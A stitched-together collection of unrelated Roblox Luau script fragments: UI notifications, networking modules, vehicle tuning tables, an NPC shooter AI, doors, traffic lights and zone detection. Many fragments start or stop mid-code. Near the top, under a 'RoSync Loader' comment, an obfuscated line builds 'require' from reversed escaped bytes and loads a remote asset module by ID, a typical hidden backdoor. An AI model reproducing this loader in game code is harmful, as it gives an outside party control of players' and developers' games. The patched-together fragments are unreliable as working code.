name; Message = text; Icon = icon or 0; Time = os.date("%X"); Function = clickfunc; } table.insert(client.Variables.CommunicationsHistory, log) service.Events.CommsPanel:Fire(log) main.MouseButton1Click:Connect(function() if frame and frame.Parent then if clickfunc then returner = clickfunc() end frame:Destroy() end end) close.MouseButton1Click:Connect(function() if frame and frame.Parent then if closefunc then returner = closefunc() end gTable:Destroy() end end) frame.Parent = holder task.spawn(function() local sound = Instance.new("Sound",service.LocalContainer()) sound.SoundId = 'rbxassetid://'.."203785584"--client.NotificationSound sound.Volume = 0.2 sound:Play() wait(0.5) sound:Destroy() end) if time then timer.Visible = true repeat timer.Text = time wait(1) time = time-1 until time<=0 or not frame or not frame.Parent if frame and frame.Parent then if frame then frame:Destroy() end if ignorefunc then returner = ignorefunc() end end end return returner end
--[[ Last synced 10/19/2020 07:13 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
--BE.Event:connect(function() print("Bindable Firing") end) --RE.OnClientEvent:connect(function() print("Remote Firing") end)
--[=[ Checks if the given object is a Signal. @param obj any -- Object to check @return boolean -- `true` if the object is a Signal. ]=]
function Signal.Is(obj) return type(obj) == "table" and getmetatable(obj) == Signal end
--[[ CORE FUNCTIONS: Comm.Server.BindFunction(parent: Instance, name: string, func: (Instance, ...any) -> ...any, middleware): RemoteFunction Comm.Server.WrapMethod(parent: Instance, tbl: {}, name: string, inbound: ServerMiddleware?, outbound: ServerMiddleware?): RemoteFunction Comm.Server.CreateSignal(parent: Instance, name: string, inbound: ServerMiddleware?, outbound: ServerMiddleware?): RemoteSignal Comm.Client.GetFunction(parent: Instance, name: string, usePromise: boolean, middleware: ClientMiddleware?): (...any) -> ...any Comm.Client.GetSignal(parent: Instance, name: string, inbound: ClientMiddleware?, outbound: ClientMiddleware?): ClientRemoteSignal HELPER CLASSES: serverComm = Comm.Server.ForParent(parent: Instance, namespace: string?): ServerComm serverComm:BindFunction(name: string, func: (Instance, ...any) -> ...any, inbound: ServerMiddleware?, outbound: ServerMiddleware?): RemoteFunction serverComm:WrapMethod(tbl: {}, name: string, inbound: ServerMiddleware?, outbound: ServerMiddleware?): RemoteFunction serverComm:CreateSignal(name: string, inbound: ServerMiddleware?, outbound: ServerMiddleware?): RemoteSignal serverComm:Destroy() clientComm = Comm.Client.ForParent(parent: Instance, usePromise: boolean, namespace: string?): ClientComm clientComm:GetFunction(name: string, usePromise: boolean, inbound: ClientMiddleware?, outbound: ClientMiddleware?): (...any) -> ...any clientComm:GetSignal(name: string, inbound: ClientMiddleware?, outbound: ClientMiddleware?): ClientRemoteSignal clientComm:Destroy() --]]
type FnBind = (Instance, ...any) -> ...any type Args = { n: number, [any]: any, } type ServerMiddlewareFn = (Instance, Args) -> (boolean, ...any) type ServerMiddleware = {ServerMiddlewareFn} type ClientMiddlewareFn = (Args) -> (boolean, ...any) type ClientMiddleware = {ClientMiddlewareFn} local Signal = require(script.Parent.Signal) local Option = require(script.Parent.Option) local Promise = require(script.Parent.Promise) local RunService = game:GetService("RunService") local Players = game:GetService("Players") local IS_SERVER = RunService:IsServer() local DEFAULT_COMM_FOLDER_NAME = "__comm__" local WAIT_FOR_CHILD_TIMEOUT = 60 local function GetCommSubFolder(parent: Instance, subFolderName: string): Option.Option local subFolder: Instance = nil if IS_SERVER then subFolder = parent:FindFirstChild(subFolderName) if not subFolder then subFolder = Instance.new("Folder") subFolder.Name = subFolderName subFolder.Parent = parent end else subFolder = parent:WaitForChild(subFolderName, WAIT_FOR_CHILD_TIMEOUT) end return Option.Wrap(subFolder) end
-- Variables (best not to touch these!)
local button = script.Parent .Parent.Parent local car = script.Parent.Parent.Parent.Parent.Car.Value local sound = script.Parent.Parent.Start local st = script.Parent.Parent.Stall st.Parent = car.DriveSeat sound.Parent = car.DriveSeat -- What brick the start sound is playing from. button.MouseButton1Click:connect(function() -- Event when the button is clicked if script.Parent.Parent.Parent.Text == "Engine: Off" then -- If the text says it's off then.. sound:Play() -- Startup sound plays.. script.Parent.Parent.Parent.Parent.Values.PreOn.Value = true wait(1.1) -- I don't know what to put for this script.Parent.Parent.Parent.Parent.Values.PreOn.Value = false wait(0.2) script.Parent.Parent.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car. button.Text = "Engine: On" -- You don't really need this, but I would keep it. else -- If it's on then when you click the button, st:play() script.Parent.Parent.Parent.Parent.IsOn.Value = false -- The car is turned off. button.Text = "Engine: Off" end -- Don't touch this. end) -- And don't touch this either.
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 100 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 100 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .3 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 90 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 100 -- Spring Dampening Tune.RSusStiffness = 4500 -- Spring Force Tune.FAntiRoll = 100 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .3 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 90 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--[[ TODO: Add a function to find first child with an attribute, corotine.resume, coroutine.create shortenings to cr and cc ]]
local Utilities = {} Utilities.cr = coroutine.resume Utilities.cc = coroutine.create Utilities.crcc = function(func) return coroutine.resume(coroutine.create(func)) end Utilities.FindFirstChildWithAttribute = function(Parent, AttributeName, ReturnAttributeValue, Value) if type(Parent) == "table" then Parent = AttributeName AttributeName = ReturnAttributeValue end for _, Child in pairs(Parent:GetChildren()) do if Child:GetAttribute(AttributeName) then if ReturnAttributeValue == true then return Child:GetAttribute(AttributeName) else if Value and Child:GetAttribute(AttributeName) == Value then return Child --else -- return Child -- Why? end end end end return nil end Utilities.FindFirstChildWithPropertyValue = function(Parent, Property, Value) for _, Child in pairs(Parent:GetChildren()) do if Child[Property] and Child[Property] == Value then return Child end end return nil end Utilities.GlobalTrackSwitch = function(NewTrack, FadeTime, ClientOnly, Player) -- Find what Sound in workspace.GlobalSounds is playing, tween fade it out and tween fade in NewTrack -- Find the current track local CurrentTrack = Utilities.FindFirstChildWithPropertyValue(workspace.GlobalSounds, "Playing", true) local NewTrack = workspace.GlobalSounds:FindFirstChild(NewTrack) local NewTrackInitVol = NewTrack.Volume --print(CurrentTrack) -- If the new track is already playing, return if NewTrack.Playing == true then return else NewTrack:Play() NewTrack.Volume = 0 end -- Fade out current track and fade in new track local CurrentTrackFade = TweenService:Create(CurrentTrack, TweenInfo.new(FadeTime), {Volume = 0}) local NewTrackFade = TweenService:Create(NewTrack, TweenInfo.new(FadeTime), {Volume = NewTrackInitVol}) CurrentTrackFade:Play() NewTrackFade:Play() Utilities.crcc(function() task.wait(FadeTime) CurrentTrack:Stop() end) end Utilities.TextTransition = function(Object, TextProperty, EndText, Speed, TransitionType) local StartText = Object[TextProperty] local StartTextLength = string.len(StartText) local EndTextLength = string.len(EndText) local Speed = Speed or 1 local TransitionType = TransitionType or "Collapse" if TransitionType == "Collapse" then -- Take one letter from beginning and end until no letters are left, then do the opposite with EndText for i=2, StartTextLength/2 do -- Collapse Object[TextProperty] = string.sub(StartText, i, StartTextLength-(i-1)) task.wait(Speed/2*.25) end Object[TextProperty] = " " task.wait(Speed/2*.25) for i=EndTextLength/2, 0, -1 do -- Expand from middle Object[TextProperty] = string.sub(EndText, i, EndTextLength-(i-1)) task.wait(Speed/2*.25) end elseif TransitionType == "Scramble" then -- Randomly swap out letters from StartText to EndText end end return Utilities
--gun parts
local gunparts = {} for i,v in pairs(gunmodel:GetDescendants()) do if v:IsA("BasePart") then table.insert(gunparts, v) end end function guntransparency(tr) for i,v in pairs(gunparts) do --looping through an already made table alone is faster than getdescendants and then looping v.LocalTransparencyModifier = tr end end function modeltransparency(m, tr) -- this is for stuff like fps mags for i,v in pairs(m:GetDescendants()) do if v:IsA("BasePart") then v.LocalTransparencyModifier = tr end end end
---- --[[ Ball start: 1.4 / Speed is 7.04 Ball at: 2.6 ]]
-- local IN = hit.Parent.Hair.Handle
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 12000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .15 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 30 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .09 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--end)
while true do if Dead then break end AI() local n,mag,hum=near() if n and not Dead then n=n.p if not r then w=.14 local dir=h.Position-n local tst ,_ =workspace:FindPartOnRay(Ray.new(t.Torso.Position,(n-t.Torso.Position).Unit*999),t) local aim =n+Vector3.new(math.random(-mag*RecoilSpread,mag*RecoilSpread),math.random(-mag*RecoilSpread,mag*RecoilSpread),math.random(-mag*RecoilSpread,mag*RecoilSpread))+hum if tst and not Dead then local FoundHuman,VitimaHuman = CheckForHumanoid(tst) if FoundHuman == true and VitimaHuman.Health > 0 and game.Players:GetPlayerFromCharacter(VitimaHuman.Parent) and perception >= 10 then function lookAt(target, eye) local forwardVector = (eye - target).Unit local upVector = Vector3.new(0, 1, 0) -- You have to remember the right hand rule or google search to get this right local rightVector = forwardVector:Cross(upVector) local upVector2 = rightVector:Cross(forwardVector) return CFrame.fromMatrix(eye, rightVector, upVector2) end local direction = (n+hum)-h.CFrame.LookVector script.Parent:SetPrimaryPartCFrame(CFrame.new(t.Head.CFrame.Position,Vector3.new(direction.X,h.CFrame.Y,direction.Z))) Evt.ACS_AI.AIShoot:FireAllClients(h) h.Echo:Play() h.Fire:Play() local par, pos, Norm, Mat = workspace:FindPartOnRay(Ray.new(h.Position,(aim-h.Position).Unit*999),t) if par and not Dead then Hitmaker(par, pos, Norm, Mat) local FoundHuman,VitimaHuman = CheckForHumanoid(par) if FoundHuman == true and VitimaHuman.Health > 0 and game.Players:GetPlayerFromCharacter(VitimaHuman.Parent) then local TotalDistTraveled = (pos - h.Position).Magnitude ------ How much damage the gun inflicts if par.Name == "Head" or par.Parent.Name == "Top" or par.Parent.Name == "Headset" or par.Parent.Name == "Olho" or par.Parent.Name == "Face" or par.Parent.Name == "Numero" then local DanoBase = math.random(HeadDamage[1], HeadDamage[2]) local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Head") Damage(VitimaHuman,Dano,DanoColete,DanoCapacete) elseif (par.Parent:IsA('Accessory') or par.Parent:IsA('Hat')) then local DanoBase = math.random(HeadDamage[1], HeadDamage[2]) local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Head") Damage(VitimaHuman,Dano,DanoColete,DanoCapacete) elseif par.Name == "Torso" or par.Parent.Name == "Chest" or par.Parent.Name == "Waist" then local DanoBase = math.random(TorsoDamage[1], TorsoDamage[2]) local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Body") Damage(VitimaHuman,Dano,DanoColete,DanoCapacete) elseif par.Name == "Right Arm" or par.Name == "Left Arm" or par.Name == "Right Leg" or par.Name == "Left Leg" or par.Parent.Name == "Back" or par.Parent.Name == "Leg1" or par.Parent.Name == "Leg2" or par.Parent.Name == "Arm1" or par.Parent.Name == "Arm2" then local DanoBase = math.random(LimbsDamage[1], LimbsDamage[2]) local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Body") Damage(VitimaHuman,Dano,DanoColete,DanoCapacete) else local DanoBase = math.random(LimbsDamage[1], LimbsDamage[2]) local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Body") Damage(VitimaHuman,Dano,DanoColete,DanoCapacete) end end end ammo=ammo-1 mag=(h.Position-pos).magnitude t.Humanoid.WalkSpeed = ShootingWalkspeed --print("Atirando") local TracerChance = math.random(1,100) if TracerChance <= Settings.TracerChance.Value then Evt.ACS_AI.AIBullet:FireAllClients(nil, t.Head.CFrame, Tracer, 0, 2200, (aim-h.Position).Unit,TracerColor,Ray_Ignore, BulletFlare, BulletFlareColor) end elseif FoundHuman == true and VitimaHuman.Health > 0 and game.Players:GetPlayerFromCharacter(VitimaHuman.Parent) and perception < 10 then perception = perception + Settings.Level.Value t.Humanoid.WalkSpeed = SearchingWalkspeed Memory = Settings.Level.Value * 100 CanSee = true elseif perception > 0 then perception = perception - 1/Settings.Level.Value * 2 t.Humanoid.WalkSpeed = SearchingWalkspeed CanSee = false elseif perception <= 0 then perception = 0 t.Humanoid.WalkSpeed = RegularWalkspeed Memory = Memory - .25 end --print(Memory) end wait(RPM) -- How fast the enemy shoots if ammo==0 then reload() end end end end
--"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--
local door = script.Parent local bool = false local CanOpen1 = true local CanClose1 = false local AccessDenied = script.Parent.AccessDenied local AccessGranted = script.Parent.AccessGranted local clearance = { ["[SCP] Card-Omni"] = true, ["[SCP] Card-L5"] = true, ["[SCP] Card-L4"] = true, ["[SCP] Card-L3"] = true, ["[SCP] Card-L2"] = false, ["[SCP] Card-L1"] = false } --DO NOT EDIT PAST THIS LINE-- function openDoor() script.Parent.DoorOpen:play() for i = 1,(door.Size.z / 0.30) do wait() door.CFrame = door.CFrame - (door.CFrame.lookVector * 0.30) end end function closeDoor() script.Parent.DoorClose:play() for i = 1,(door.Size.z / 0.30) do wait() door.CFrame = door.CFrame + (door.CFrame.lookVector * 0.30) end end script.Parent.Parent.KeycardReader1.touched:connect(function(touch) if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then CanOpen1 = false AccessGranted:Play() wait(0.75) openDoor() wait(1) CanClose1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then CanClose1 = false AccessGranted:Play() wait(0.75) closeDoor() wait(1) CanOpen1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] == false and not bool then bool = true AccessDenied:Play() wait(2) bool = false end end) script.Parent.Parent.KeycardReader2.touched:connect(function(touch) if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then CanOpen1 = false AccessGranted:Play() wait(0.75) openDoor() wait(1) CanClose1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then CanClose1 = false AccessGranted:Play() wait(0.75) closeDoor() wait(1) CanOpen1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] == false and not bool then bool = true AccessDenied:Play() wait(2) bool = false end end)
--Creates an explosion at the specified location. Return sthe explosion.
function ExplosionCreator:CreateExplosion(Position,FiredPlayer,ReflectedPlayer,DamageName) local RegisteredPlayers = {} --Returns the amount of hit players. local function GetHitPlayers() local Count = 0 for _,_ in pairs(RegisteredPlayers) do Count = Count + 1 end return Count end --Regester hits from exploisions. local function OnExplosionHit(ExplosionTouchPart,RadiusFromBlast) local IsInCharacter = false if ExplosionTouchPart.Size.magnitude/2 < 20 then local BreakJoints = (ExplosionTouchPart.Name ~= "Bomb") --Damage the character if one exists and disable breaking joints. local HitCharacter,HitHumanoid = FindCharacterAncestor(ExplosionTouchPart) if HitCharacter then IsInCharacter = true BreakJoints = false local HitPlayer = game.Players:GetPlayerFromCharacter(HitCharacter) if (HitPlayer and not RegisteredPlayers[HitPlayer]) or (not HitPlayer and not RegisteredPlayers[HitCharacter]) then RegisteredPlayers[HitPlayer or HitCharacter] = true
---Green Script---
script.Parent.Red.Transparency = 0.9 script.Parent.Yel.Transparency = 0.9 script.Parent.Gre.Transparency = 0.9 while true do script.Parent.Red.Transparency = 0 script.Parent.Yel.Transparency = 0.9 script.Parent.Gre.Transparency = 0.9 wait (1) script.Parent.Red.Transparency = 0 script.Parent.Yel.Transparency = 0.9 script.Parent.Gre.Transparency = 0.9 wait (30) script.Parent.Red.Transparency = 0 script.Parent.Yel.Transparency = 0.9 script.Parent.Gre.Transparency = 0.9 wait (4) script.Parent.Red.Transparency = 0 script.Parent.Yel.Transparency = 0.9 script.Parent.Gre.Transparency = 0.9 wait (3) script.Parent.Red.Transparency = 0 script.Parent.Yel.Transparency = 0 script.Parent.Gre.Transparency = 0.9 wait (1) script.Parent.Red.Transparency = 0.9 script.Parent.Yel.Transparency = 0.9 script.Parent.Gre.Transparency = 0 wait (30) script.Parent.Red.Transparency = 0.9 script.Parent.Yel.Transparency = 0 script.Parent.Gre.Transparency = 0.9 wait (4) script.Parent.Red.Transparency = 0 script.Parent.Yel.Transparency = 0.9 script.Parent.Gre.Transparency = 0.9 wait (3) end
-----------------------------------
elseif script.Parent.Parent.Parent.TrafficControl.Value == ">" then script.Parent.Parent.Off.Spotlight2.Transparency = 1 script.Parent.Parent.Off.Spotlight3.Transparency = 1 script.Parent.Parent.Off.Part.Transparency = 1 script.Parent.Parent.Off.Union.Transparency = 1 script.Parent.Parent.Off.a1.Transparency = 1 script.Parent.Parent.Front.Spotlight2.Transparency = 1 script.Parent.Parent.Front.Spotlight2.Point.Enabled = false script.Parent.Parent.Front.Spotlight2.Lighto.Enabled = false script.Parent.Parent.Front.Part.Transparency = 1 script.Parent.Parent.Front.Union.Transparency = 1 script.Parent.Parent.Front.a1.Transparency = 1 script.Parent.Parent.Left.Spotlight2.Transparency = 1 script.Parent.Parent.Left.Spotlight2.Point.Enabled = false script.Parent.Parent.Left.Spotlight2.Lighto.Enabled = false script.Parent.Parent.Left.Part.Transparency = 1 script.Parent.Parent.Left.Union.Transparency = 1 script.Parent.Parent.Left.a1.Transparency = 1 script.Parent.Parent.Right.Spotlight2.Transparency = 0.3 script.Parent.Parent.Right.Spotlight2.Point.Enabled = true script.Parent.Parent.Right.Spotlight2.Lighto.Enabled = true script.Parent.Parent.Right.Part.Transparency = 0 script.Parent.Parent.Right.Union.Transparency = 0 script.Parent.Parent.Right.a1.Transparency = 0
--[=[ Provides getting named global [RemoteEvent] resources. @class GetRemoteEvent ]=]
-- Check the module script for more functions and then do like this "Demo:FunctionName()" like the above example of duration
-- assume we are in the character, let's check
function sepuku() script.Parent = nil end local h = script.Parent:FindFirstChild("Humanoid") if (h == nil) then sepuku() end local oldSpeed = h.WalkSpeed h.WalkSpeed = h.WalkSpeed * 1.6 local torso = script.Parent:FindFirstChild("Torso") if (torso == nil) then sepuku() end local head = script.Parent:FindFirstChild("Head") if (head == nil) then head = torso end local s = Instance.new("Sparkles") s.Color = Color3.new(.5, 0, 0) s.Parent = torso local count = h:FindFirstChild("CoffeeCount") if (count == nil) then count = Instance.new("IntValue") count.Name = "CoffeeCount" count.Value = 1 count.Parent = h else if (count.Value > 3) then if (math.random() > .5) then local sound = Instance.new("Sound") sound.SoundId = "rbxasset://sounds\\Rocket shot.wav" sound.Parent = head sound.Volume = 1 sound:play() local e = Instance.new("Explosion") e.BlastRadius = 4 e.Position = head.Position s:Clone().Parent = head e.Parent = head end end count.Value = count.Value + 1 end wait(30) h.WalkSpeed = oldSpeed s:Remove() script.Parent = nil
--[[ ROBLOX deviation START: inline type for JestAssertionError['matcherResult'] as Lua doesn't support Omit utility type original code: class JestAssertionError extends Error { matcherResult?: Omit<SyncExpectationResult, 'message'> & {message: string}; } ]]
type JestMatcherError_matcherResult = { pass: boolean, message: string, } type JestAssertionError = { matcherResult: JestMatcherError_matcherResult?, }
--[[ -- the player touched events which utilise active zones at the moment may change to the new CanTouch method for parts in the future -- hence im disabling this as it may be depreciated quite soon function ZoneController.getActiveZones() local zonesArray = {} for zone, _ in pairs(activeZones) do table.insert(zonesArray, zone) end return zonesArray end --]]
function ZoneController.getTouchingZones(item, onlyActiveZones, recommendedDetection, tracker) local exitDetection, finalDetection if tracker then exitDetection = tracker.exitDetections[item] tracker.exitDetections[item] = nil end finalDetection = exitDetection or recommendedDetection local itemSize, itemCFrame local itemIsBasePart = item:IsA("BasePart") local itemIsCharacter = not itemIsBasePart local bodyPartsToCheck = {} if itemIsBasePart then itemSize, itemCFrame = item.Size, item.CFrame table.insert(bodyPartsToCheck, item) elseif finalDetection == enum.Detection.WholeBody then itemSize, itemCFrame = Tracker.getCharacterSize(item) bodyPartsToCheck = item:GetChildren() else local hrp = item:FindFirstChild("HumanoidRootPart") if hrp then itemSize, itemCFrame = hrp.Size, hrp.CFrame table.insert(bodyPartsToCheck, hrp) end end if not itemSize or not itemCFrame then return {} end --[[ local part = Instance.new("Part") part.Size = itemSize part.CFrame = itemCFrame part.Anchored = true part.CanCollide = false part.Color = Color3.fromRGB(255, 0, 0) part.Transparency = 0.4 part.Parent = workspace game:GetService("Debris"):AddItem(part, 2) --]] local partsTable = (onlyActiveZones and activeParts) or allParts local partToZoneDict = (onlyActiveZones and activePartToZone) or allPartToZone local boundParams = OverlapParams.new() boundParams.FilterType = Enum.RaycastFilterType.Whitelist boundParams.MaxParts = #partsTable boundParams.FilterDescendantsInstances = partsTable -- This retrieves the bounds (the rough shape) of all parts touching the item/character -- If the corresponding zone is made up of *entirely* blocks then the bound will -- be the actual shape of the part. local touchingPartsDictionary = {} local zonesDict = {} local boundParts = CollectiveWorldModel:GetPartBoundsInBox(itemCFrame, itemSize, boundParams) local boundPartsThatRequirePreciseChecks = {} for _, boundPart in pairs(boundParts) do local correspondingZone = partToZoneDict[boundPart] if correspondingZone and correspondingZone.allZonePartsAreBlocks then zonesDict[correspondingZone] = true touchingPartsDictionary[boundPart] = correspondingZone else table.insert(boundPartsThatRequirePreciseChecks, boundPart) end end -- If the bound parts belong to a zone that isn't entirely made up of blocks, then -- we peform additional checks using GetPartsInPart which enables shape -- geometries to be precisely determined for non-block baseparts. local totalRemainingBoundParts = #boundPartsThatRequirePreciseChecks local precisePartsCount = 0 if totalRemainingBoundParts > 0 then local preciseParams = OverlapParams.new() preciseParams.FilterType = Enum.RaycastFilterType.Whitelist preciseParams.MaxParts = totalRemainingBoundParts preciseParams.FilterDescendantsInstances = boundPartsThatRequirePreciseChecks local character = item for _, bodyPart in pairs(bodyPartsToCheck) do local endCheck = false if not bodyPart:IsA("BasePart") or (itemIsCharacter and Tracker.bodyPartsToIgnore[bodyPart.Name]) then continue end local preciseParts = CollectiveWorldModel:GetPartsInPart(bodyPart, preciseParams) for _, precisePart in pairs(preciseParts) do if not touchingPartsDictionary[precisePart] then local correspondingZone = partToZoneDict[precisePart] if correspondingZone then zonesDict[correspondingZone] = true touchingPartsDictionary[precisePart] = correspondingZone precisePartsCount += 1 end if precisePartsCount == totalRemainingBoundParts then endCheck = true break end end end if endCheck then break end end end local touchingZonesArray = {} local newExitDetection for zone, _ in pairs(zonesDict) do if newExitDetection == nil or zone._currentExitDetection < newExitDetection then newExitDetection = zone._currentExitDetection end table.insert(touchingZonesArray, zone) end if newExitDetection and tracker then tracker.exitDetections[item] = newExitDetection end return touchingZonesArray, touchingPartsDictionary end local settingsGroups = {} function ZoneController.setGroup(settingsGroupName, properties) local group = settingsGroups[settingsGroupName] if not group then group = {} settingsGroups[settingsGroupName] = group end -- PUBLIC PROPERTIES -- group.onlyEnterOnceExitedAll = true -- PRIVATE PROPERTIES -- group._name = settingsGroupName group._memberZones = {} if typeof(properties) == "table" then for k, v in pairs(properties) do group[k] = v end end return group end function ZoneController.getGroup(settingsGroupName) return settingsGroups[settingsGroupName] end local workspaceContainer local workspaceContainerName = string.format("ZonePlus%sContainer", (runService:IsClient() and "Client") or "Server") function ZoneController.getWorkspaceContainer() local container = workspaceContainer or workspace:FindFirstChild(workspaceContainerName) if not container then container = Instance.new("Folder") container.Name = workspaceContainerName container.Parent = workspace workspaceContainer = container end return container end return ZoneController
--------------------------------------------------------
function DeleteIdlePlane() --This deletes any planes that aren't currently being used for _,v in pairs(Planekit:GetChildren()) do if v.Name == "Plane" then v:remove() end end end function RegenMain() --This function regens the plane PlaneClone2 = PlaneClone:clone() PlaneClone2.Parent = Planekit PlaneClone2.Origin.Value = Planekit PlaneClone2:MakeJoints() end function RegeneratePlane(Part) --This is the main regenerating function Player = game.Players:GetPlayerFromCharacter(Part.Parent) --This gets the player that touched it if Player then if Active then Active = false DeleteIdlePlane() --This activates the "DeleteIdlePlane" function for i = 0,1,0.2 do --This makes the button transparent Main.Transparency = i wait() end if RegenTime >= 1 then RegenGui.Parent = Player.PlayerGui --The regengui will be put into the player if the regentime is more than 1 end wait(RegenTime) RegenGui.Parent = script --This puts the gui back in the script RegenMain() if EnterOnSpawn.Value then --If the EnterOnSpawn value is true... coroutine.resume(coroutine.create(function() repeat wait() until PlaneClone2.Welded.Value onPlaneWelded() --This activates the "onPlaneWelded" function whenever the welded value changes end)) end wait(WaitTime) for i = 1,0,-0.2 do --This makes the button visible Main.Transparency = i wait() end Active = true end end end function onPlaneWelded() --This function put you into the plane seat the moment the plane is welded if PlaneClone2 ~= nil then if Player then --This checks to make sure there is a player if Player.Character:findFirstChild("Torso") then Player.Character.Torso.CFrame = PlaneClone2.MainParts.Seat.CFrame end end end end for _,v in pairs(Button:GetChildren()) do --This allows you to put as many bricks into the "Button" folder as you want if v:IsA("BasePart") then --Make sure one of the bricks in the "Button" folder is named "Main" v.Touched:connect(RegeneratePlane) --This activates the "RegeneratePlane" function when any brick in the "Button" folder is touched end end
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 10 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 1500 -- Front brake force Tune.RBrakeForce = 1500 -- Rear brake force Tune.PBrakeForce = 5000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
--!strict
local Types = require(script.Parent.Types) local PlayerContainers = require(script.PlayerContainers) local ServerBridge = require(script.ServerBridge) local ServerIdentifiers = require(script.ServerIdentifiers) local ServerProcess = require(script.ServerProcess) local Server = {} function Server.start() ServerProcess.start() ServerIdentifiers.start() end function Server.makeBridge(name: string) return ServerBridge(name) end function Server.ser(identifierName: string): Types.Identifier? return ServerIdentifiers.ser(identifierName) end function Server.deser(compressedIdentifier: string): Types.Identifier? return ServerIdentifiers.deser(compressedIdentifier) end function Server.makeIdentifier(name: string) return ServerIdentifiers.ref(name) end function Server.playerContainers() return PlayerContainers end function Server.invalidPlayerhandler(func) ServerProcess.setInvalidPlayerFunction(func) end return Server
--// bolekinds
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent script.Parent.MouseButton1Click:Connect(function() if plr.YouCash.Value >= 50 then script.Parent.Parent.Parent.Ching:Play() plr.YouCash.Value -= 50 game.ServerStorage.Tools.Food:Clone().Parent = plr.Backpack end end)
